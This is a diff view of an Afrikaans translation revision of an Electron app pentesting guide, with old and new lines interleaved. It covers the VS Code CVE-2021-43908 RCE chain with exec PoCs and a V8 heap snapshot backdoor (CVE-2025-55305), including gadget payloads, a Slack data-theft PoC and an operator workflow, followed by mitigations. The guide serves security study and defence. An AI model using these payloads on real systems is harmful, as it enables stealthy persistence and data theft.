- **Definieer** of **skep** 'n direktorie vir die stoor van **app logs**. Die logs kan **opgehaal** of **gewysig** word met **`app.getPath()`** of **`app.setPath(pathName, newPath)`**.
|
||||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||||
- **Registreer** die huidige uitvoerbare as die **standaardbehandelaar** vir 'n gespesifiseerde **protocol**. Jy kan 'n **aangepaste pad** en **argumente** verskaf indien nodig.
|
- **Registreer** die huidige uitvoerbare lêer as die **standaard behandelaar** vir 'n gespesifiseerde **protocol**. Jy kan 'n **pasgemaakte pad** en **argumente** verskaf indien nodig.
|
||||||
- **`app.setUserTasks(tasks)`**
|
- **`app.setUserTasks(tasks)`**
|
||||||
- **Voeg** take by die **Tasks-kategorie** in die **Jump List** (op Windows). Elke taak kan beheer hoe die app **gestart** word of watter **argumente** deurgegee word.
|
- **Voeg** take by die **taakkategorie** in die **Jump List** (op Windows). Elke taak kan beheer hoe die app **gestart** word of watter **argumente** oorgedra word.
|
||||||
- **`app.importCertificate(options, callback)`**
|
- **`app.importCertificate(options, callback)`**
|
||||||
- **Importeer** 'n **PKCS#12-sertifikaat** in die stelsel se **sertifikaatwinkel** (slegs Linux). 'n **callback** kan gebruik word om die resultaat te hanteer.
|
- **Voer in** 'n **PKCS#12 certificate** in na die stelsel se **certificate store** (slegs Linux). 'n **Callback** kan gebruik word om die resultaat te hanteer.
|
||||||
- **`app.moveToApplicationsFolder([options])`**
|
- **`app.moveToApplicationsFolder([options])`**
|
||||||
- **Skuif** die toepassing na die **Applications folder** (op macOS). Dit help om 'n **standaardinstallasie** vir Mac-gebruikers te verseker.
|
- **Skuif** die toepassing na die **Applications folder** (op macOS). Help om 'n **standaard installasie** vir Mac-gebruikers te verseker.
|
||||||
- **`app.setJumpList(categories)`**
|
- **`app.setJumpList(categories)`**
|
||||||
- **Stel** of **verwyder** 'n **aangepaste Jump List** op **Windows**. Jy kan **kategorieë** spesifiseer om te organiseer hoe take aan die gebruiker verskyn.
|
- **Stel** of **verwyder** 'n **pasgemaakte Jump List** op **Windows**. Jy kan **kategorieë** spesifiseer om te organiseer hoe take vir die gebruiker verskyn.
|
||||||
- **`app.setLoginItemSettings(settings)`**
|
- **`app.setLoginItemSettings(settings)`**
|
||||||
- **Konfigureer** watter **uitvoerbare** by **aanmelding** begin saam met hul **opsies** (slegs macOS en Windows).
|
- **Konfigureer** watter **uitvoerbare** lêers by **aanmelding** begin tesame met hul **opsies** (slegs macOS en Windows).
|
||||||
|
|
||||||
Voorbeeld:
|
Voorbeeld:
|
||||||
```javascript
|
```javascript
|
||||||
@ -352,7 +350,7 @@ Native.app.exit()
|
|||||||
```
|
```
|
||||||
## systemPreferences module
|
## systemPreferences module
|
||||||
|
|
||||||
Die **primêre API** vir toegang tot stelselvoorkeure en die **uitsending van stelselgebeure** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
|
Die **primêre API** vir toegang tot stelselvoorkeure en **uitsending van stelselgebeure** in Electron. Metodes soos **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, en **setUserDefault** is almal **deel van** hierdie module.
|
||||||
|
|
||||||
**Voorbeeldgebruik:**
|
**Voorbeeldgebruik:**
|
||||||
```javascript
|
```javascript
|
||||||
@ -369,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
|
|||||||
```
|
```
|
||||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||||
|
|
||||||
* **Luister** na **inheemse macOS-kennisgewings** using NSDistributedNotificationCenter.
|
* **Luister** na **native macOS-notifikasies** gebruikmakend van NSDistributedNotificationCenter.
|
||||||
* Voor **macOS Catalina** kon jy sniff **all** distributed notifications deur **nil** aan CFNotificationCenterAddObserver te gee.
|
* Voor **macOS Catalina** kon jy **all** distributed notifications sniff deur **nil** aan CFNotificationCenterAddObserver deur te gee.
|
||||||
* Na **Catalina / Big Sur** kan sandboxed apps steeds **subscribe** na **many events** (byvoorbeeld, **screen locks/unlocks**, **volume mounts**, **network activity**, ens.) deur kennisgewings **by name** te registreer.
|
* Na **Catalina / Big Sur** kan sandboxed apps steeds **subscribe** na **many events** (byvoorbeeld, **screen locks/unlocks**, **volume mounts**, **network activity**, ens.) deur kennisgewings **by name** te registreer.
|
||||||
|
|
||||||
### **getUserDefault / setUserDefault**
|
### **getUserDefault / setUserDefault**
|
||||||
|
|
||||||
* **Koppel** aan **NSUserDefaults**, wat **application** of **global** voorkeurinstellings op macOS stoor.
|
* **Koppel** met **NSUserDefaults**, wat **application** of **global** voorkeure op macOS stoor.
|
||||||
|
|
||||||
* **getUserDefault** kan sensitiewe inligting **retrieve**, soos **recent file locations** of die **user’s geographic location**.
|
* **getUserDefault** kan sensitiewe inligting **terugkry**, soos **onlangse lêerliggings** of die **user’s geographic location**.
|
||||||
|
|
||||||
* **setUserDefault** kan hierdie voorkeurinstellings **modify**, wat moontlik 'n app se **configuration** kan beïnvloed.
|
* **setUserDefault** kan hierdie voorkeure **wysig**, wat moontlik 'n app se **configuration** beïnvloed.
|
||||||
|
|
||||||
* In **older Electron versions** (before v8.3.0) was slegs die **standard suite** van NSUserDefaults **accessible**.
|
* In **older Electron versions** (before v8.3.0), was slegs die **standard suite** van NSUserDefaults **accessible**.
|
||||||
|
|
||||||
## Shell.showItemInFolder
|
## Shell.showItemInFolder
|
||||||
|
|
||||||
Hierdie funksie wys die gegewe lêer in 'n lêerbestuurder, wat die lêer **could automatically execute the file**.
|
Hierdie funksie wys die gegewe lêer in 'n file manager, wat die lêer **outomaties kan uitvoer**.
|
||||||
|
|
||||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||||
|
|
||||||
## Content Security Policy
|
## Content Security Policy
|
||||||
|
|
||||||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
Electron apps moet 'n **Content Security Policy (CSP)** hê om **XSS attacks** te **voorkom**. Die **CSP** is 'n **veiligheidsstandaard** wat help om die **execution** van **untrusted code** in die browser te **voorkom**.
|
||||||
|
|
||||||
Dit word gewoonlik **configured** in die **`main.js`** lêer of in die **`index.html`** templaat met die CSP binne 'n **meta tag**.
|
Dit word gewoonlik **geconfigureer** in die **`main.js`**-lêer of in die **`index.html`**-sjabloon met die CSP binne 'n **meta tag**.
|
||||||
|
|
||||||
For more information check:
|
For more information check:
|
||||||
|
|
||||||
@ -405,22 +403,22 @@ pentesting-web/content-security-policy-csp-bypass/
|
|||||||
|
|
||||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||||
|
|
||||||
Hierdie werklike ketting het Visual Studio Code 1.63 geraak (CVE-2021-43908) en demonstreer hoe 'n enkele markdown-driven XSS in 'n webview tot volle RCE opgegradeer kan word wanneer CSP, postMessage, en scheme handlers verkeerd gekonfigureer is. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
Hierdie werklike ketting het Visual Studio Code 1.63 (CVE-2021-43908) beïnvloed en demonstreer hoe 'n enkele markdown-driven XSS in 'n webview na volle RCE opgegradeer kan word wanneer CSP, postMessage, en scheme handlers verkeerd gekonfigureer is. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||||
|
|
||||||
Oorsig van die aanvalsketting
|
Attack chain overview
|
||||||
- First XSS via webview CSP: Die gegenereerde CSP het `style-src 'self' 'unsafe-inline'` ingesluit, wat inline/style-gebaseerde injection in 'n `vscode-webview://` konteks toegelaat het. Die payload beaconed na `/stealID` om die target webview’s extensionId te leak/exfiltrate.
|
- Eerste XSS via webview CSP: Die gegenereerde CSP het `style-src 'self' 'unsafe-inline'` ingesluit, wat inline/style-gebaseerde injectie in 'n `vscode-webview://` konteks toegelaat het. Die payload het na `/stealID` gestuur om die teiken-webview se extensionId te eksfiltreer.
|
||||||
- Constructing target webview URL: Gebruik die leaked ID om `vscode-webview://<extensionId>/.../<publicUrl>` te bou.
|
- Konstrukteer teiken-webview URL: Gebruik die leaked ID om `vscode-webview://<extensionId>/.../<publicUrl>` te bou.
|
||||||
- Second XSS via postMessage trust: Die buitenste webview het `window.postMessage` vertrou sonder streng origin/type checks en het attacker HTML gelaai met `allowScripts: true`.
|
- Tweede XSS via postMessage trust: Die buitenste webview het `window.postMessage` vertrou sonder streng origin/type kontrole en het attacker HTML gelaai met `allowScripts: true`.
|
||||||
- Local file loading via scheme/path rewriting: Die payload het `file:///...` na `vscode-file://vscode-app/...` herskryf en `exploit.md` met `RCE.html` geruil, en misbruik gemaak van swak pad-validasie om 'n bevoorregte plaaslike hulpbron te laai.
|
- Plaaslike lêerlaai via skema/pad-herskrywing: Die payload het `file:///...` na `vscode-file://vscode-app/...` herskryf en `exploit.md` vir `RCE.html` verwissel, en misbruik swak padvalidering om 'n bevoorregte plaaslike bron te laai.
|
||||||
- RCE in Node-enabled context: Die gelaaide HTML het met Node APIs beskikbaar uitgevoer, wat uitvoering van OS-opdragte toegelaat het.
|
- RCE in Node-enabled konteks: Die gelaaide HTML het uitgevoer met Node APIs beskikbaar, wat uitvoering van OS-opdragte moontlik gemaak het.
|
||||||
|
|
||||||
Voorbeeld RCE primitive in die finale konteks
|
Example RCE primitive in the final context
|
||||||
```js
|
```js
|
||||||
// RCE.html (executed in a Node-enabled webview context)
|
// RCE.html (executed in a Node-enabled webview context)
|
||||||
require('child_process').exec('calc.exe'); // Windows
|
require('child_process').exec('calc.exe'); // Windows
|
||||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||||
```
|
```
|
||||||
Gekoppelde leesstof oor postMessage vertrouenskwessies:
|
Verwante leesstof oor postMessage vertrouenskwessies:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||||
@ -428,16 +426,16 @@ Gekoppelde leesstof oor postMessage vertrouenskwessies:
|
|||||||
|
|
||||||
## **Gereedskap**
|
## **Gereedskap**
|
||||||
|
|
||||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is 'n hulpmiddel om wankonfigurasies en sekuriteits-anti-patterns in Electron-based applications te identifiseer.
|
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is 'n instrument om miskonfigurasies en sekuriteits-anti-patrone in Electron-based applications te identifiseer.
|
||||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is 'n open source VS Code-plugin vir Electron applications wat Electronegativity gebruik.
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is 'n open source VS Code plugin vir Electron applications wat Electronegativity gebruik.
|
||||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om kwesbare derdeparty-biblioteke na te gaan
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) om kwesbare derdeparty-biblioteke te kontroleer
|
||||||
- [**Electro.ng**](https://electro.ng/): Jy moet dit koop
|
- [**Electro.ng**](https://electro.ng/): Jy moet dit koop
|
||||||
|
|
||||||
## Labore
|
## Labs
|
||||||
|
|
||||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy 'n lab vind om kwesbare Electron apps te exploit.
|
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) kan jy 'n lab vind om kwesbare Electron-apps uit te buit.
|
||||||
|
|
||||||
Sommige opdragte wat jou in die lab sal help:
|
Sommige opdragte wat jou met die lab sal help:
|
||||||
```bash
|
```bash
|
||||||
# Download apps from these URls
|
# Download apps from these URls
|
||||||
# Vuln to nodeIntegration
|
# Vuln to nodeIntegration
|
||||||
@ -460,18 +458,18 @@ cd vulnerable1
|
|||||||
npm install
|
npm install
|
||||||
npm start
|
npm start
|
||||||
```
|
```
|
||||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
## Lokaal backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||||
|
|
||||||
Electron- en Chromium-gebaseerde apps deserialiseer 'n voorafgeboude V8 heap snapshot tydens opstart (v8_context_snapshot.bin, en opsioneel browser_v8_context_snapshot.bin) om elke V8 isolate te initialise (main, preload, renderer). Histories het Electron se integriteitsfuses hierdie snapshots nie as uitvoerbare inhoud beskou nie, sodoende het hulle beide fuse-based integriteitsafdwinging en OS code-signing kontroles omseil. Gevolglik het die vervanging van die snapshot in 'n deur-gebruiker-skryfbare installasie stilletjies volhoubare kode-uitvoering binne die app moontlik gemaak sonder om die ondertekende binaries of ASAR te verander.
|
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
|
||||||
|
|
||||||
Belangrike punte
|
Belangrike punte
|
||||||
- Integriteitsgaping: EnableEmbeddedAsarIntegrityValidation en OnlyLoadAppFromAsar valideer app JavaScript binne die ASAR, maar het nie V8 heap snapshots gedek nie (CVE-2025-55305). Chromium kontroleer ook nie die integriteit van snapshots nie.
|
- Integriteitsgaping: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
||||||
- Aanvalsvoorwaardes: Lokale lêerskryf na die app se installasiegids. Dit is algemeen op stelsels waar Electron-apps of Chromium-browsers onder deur-gebruiker-skryfbare paadjies geïnstalleer is (bv. %AppData%\Local op Windows; /Applications met voorbehoude op macOS).
|
- Aanval voorafvoorwaardes: Lokalê lêerskryf na die app se installasiegids. Dit is algemeen op stelsels waar Electron apps of Chromium browsers onder gebruiker-skryfbare paadjies geïnstalleer is (bv. %AppData%\Local op Windows; /Applications met voorbehoude op macOS).
|
||||||
- Effek: Betroubare uitvoering van aanvaller se JavaScript in enige isolate deur 'n gereeld gebruikte builtin (’n “gadget”) te oorskryf, wat volhoubaarheid en ontwiking van code-signing verifikasie moontlik maak.
|
- Effek: Betroubare uitvoering van attacker JavaScript in enige isolate deur 'n gereeld gebruikte builtin (a “gadget”) te oorskryf, wat volharding en ontduiking van code-signing verifikasie moontlik maak.
|
||||||
- Getroffen oppervlak: Electron-apps (selfs met fuses geaktiveer) en Chromium-gebaseerde browsers wat snapshots vanaf deur-gebruiker-skryfbare plekke laai.
|
- Aangetaste oppervlak: Electron apps (selfs met fuses aangeskakel) en Chromium-gebaseerde browsers wat snapshots vanaf gebruiker-skryfbare lokasies laai.
|
||||||
|
|
||||||
Genereer 'n kwaadwillige snapshot sonder om Chromium te bou
|
Generering van 'n malicious snapshot sonder om Chromium te bou
|
||||||
- Gebruik die voorafgeboude electron/mksnapshot om 'n payload JS in 'n snapshot saam te stel en die toepassing se v8_context_snapshot.bin te oorskryf.
|
- Gebruik die prebuilt electron/mksnapshot om 'n payload JS in 'n snapshot te compileer en die toepassing se v8_context_snapshot.bin oor te skryf.
|
||||||
|
|
||||||
Voorbeeld van 'n minimale payload (bewys uitvoering deur 'n crash te forceer)
|
Voorbeeld van 'n minimale payload (bewys uitvoering deur 'n crash te forceer)
|
||||||
```js
|
```js
|
||||||
@ -487,11 +485,11 @@ Array.isArray = function () {
|
|||||||
throw new Error("testing isArray gadget");
|
throw new Error("testing isArray gadget");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Isolate-aware payload routing (voer verskillende kode uit in main vs. renderer)
|
Isolate-bewuste payload-roetering (hardloop verskillende kode in main vs. renderer)
|
||||||
- Main process detection: Node-only globals soos process.pid, process.binding(), of process.dlopen is aanwesig in die main process isolate.
|
- Main-proses-detektering: Node-only globals soos process.pid, process.binding(), of process.dlopen is teenwoordig in die main-proses isolate.
|
||||||
- Browser/renderer detection: Browser-only globals soos alert is beskikbaar wanneer dit in 'n dokumentkonteks uitgevoer word.
|
- Browser/renderer-detektering: Browser-only globals soos alert is beskikbaar wanneer dit in 'n dokument-konteks uitgevoer word.
|
||||||
|
|
||||||
Voorbeeld-gadget wat een keer die main-proses Node-vermoëns ondersoek
|
Voorbeeld-gadget wat eenmalig die main-proses se Node-vermoëns ondersoek.
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
|
|
||||||
@ -520,7 +518,7 @@ process.exit(0);
|
|||||||
return orig(...arguments);
|
return orig(...arguments);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Renderer/browser-context gegewensdiefstal PoC (bv. Slack)
|
Renderer/browser-context datadiefstal PoC (bv. Slack)
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
Array.isArray = function() {
|
Array.isArray = function() {
|
||||||
@ -545,30 +543,26 @@ return orig(...arguments);
|
|||||||
};
|
};
|
||||||
```
|
```
|
||||||
Operator-werkvloei
|
Operator-werkvloei
|
||||||
1) Skryf payload.js wat 'n algemene builtin (e.g., Array.isArray) oor-skryf en opsioneel per isolate takke uitvoer.
|
1) Skryf payload.js wat 'n algemene builtin oorskryf (bv. Array.isArray) en opsioneel per isolate vertakkings uitvoer.
|
||||||
2) Bou die snapshot sonder Chromium-bronne:
|
2) Bou die snapshot sonder Chromium-bronne:
|
||||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||||
3) Oorskryf die geteikende toepassing se snapshot-lêer(s):
|
3) Oorskryf die teikentoepassing se snapshot-lêer(s):
|
||||||
- v8_context_snapshot.bin (always used)
|
- v8_context_snapshot.bin (altyd gebruik)
|
||||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
- browser_v8_context_snapshot.bin (indien die LoadBrowserProcessSpecificV8Snapshot fuse gebruik word)
|
||||||
4) Start die toepassing; die gadget voer uit wanneer die gekose builtin gebruik word.
|
4) Begin die toepassing; die gadget voer uit telkens wanneer die gekose builtin gebruik word.
|
||||||
|
|
||||||
Aantekeninge en oorwegings
|
Aantekeninge en oorwegings
|
||||||
- Integriteit/handtekening-omseiling: Snapshot-lêers word nie deur code-signing checks as native uitvoerbare lêers behandel nie en was (histories) nie deur Electron se fuses of Chromium integriteitskontroles gedek nie.
|
- Integriteit/handtekening-omseiling: Snapshot-lêers word nie deur code-signing kontrole as inheemse uitvoerbare lêers beskou nie en (histories) was hulle nie deur Electron’s fuses of Chromium integriteitskontroles gedek nie.
|
||||||
- Persistensie: Die vervanging van die snapshot in 'n gebruiker-skryfbare installasie oorleef gewoonlik app-herlaaisels en lyk soos 'n gesigneerde, legitieme app.
|
- Bestendigheid: Om die snapshot in 'n gebruikers-skryfbare installasie te vervang oorleef gewoonlik app-herlaaisels en lyk dit soos 'n getekende, wettige app.
|
||||||
- Chromium-blaaiers: Dieselfde manipulasie-konsep geld vir Chrome/derivatives wat in gebruiker-skryfbare liggings geïnstalleer is. Chrome het ander integriteitsmitigasies, maar sluit fisies plaaslike aanvalle eksplisiet uit van sy bedreigingsmodel.
|
- Chromium-blaaiers: Dieselfde manipulasie‑konsep geld vir Chrome/afgeleides wat in gebruikers-skryfbare liggings geïnstalleer is. Chrome het ander integriteits-teenmaatreëls, maar sluit uitdruklik fisies plaaslike aanvalle uit van sy bedreigingsmodel.
|
||||||
|
|
||||||
Opsporing en mitigasies
|
Opsporing en teenmaatreëls
|
||||||
- Behandel snapshot-lêers as uitvoerbare inhoud en sluit dit in by integriteitsafdwinging (CVE-2025-55305 fix).
|
- Behandel snapshots as uitvoerbare inhoud en sluit hulle in by integriteitsdwinging (CVE-2025-55305 fix).
|
||||||
- Gee voorkeur aan admin-writable-only install locations; bepaal basislyn en monitor hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
|
- Voorkeur vir slegs admin-skryfbare installasie-liggings; stel 'n basislyn vas en moniteer hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
|
||||||
- Detect vroegtydige runtime builtin oor-skrywing en onverwagte snapshot-wijzigings; waarsku wanneer gedeserialiseerde snapshots nie met verwagte waardes ooreenstem nie.
|
- Detecteer vroeë-runtime builtin oorskrywings en onverwagte snapshot-veranderinge; waarsku wanneer gedeserialiseerde snapshots nie die verwagte waardes ooreenstem nie.
|
||||||
|
|
||||||
## **Verwysings**
|
## **Verwysings**
|
||||||
|
|
||||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
|
||||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
|
||||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
|
||||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
|
||||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user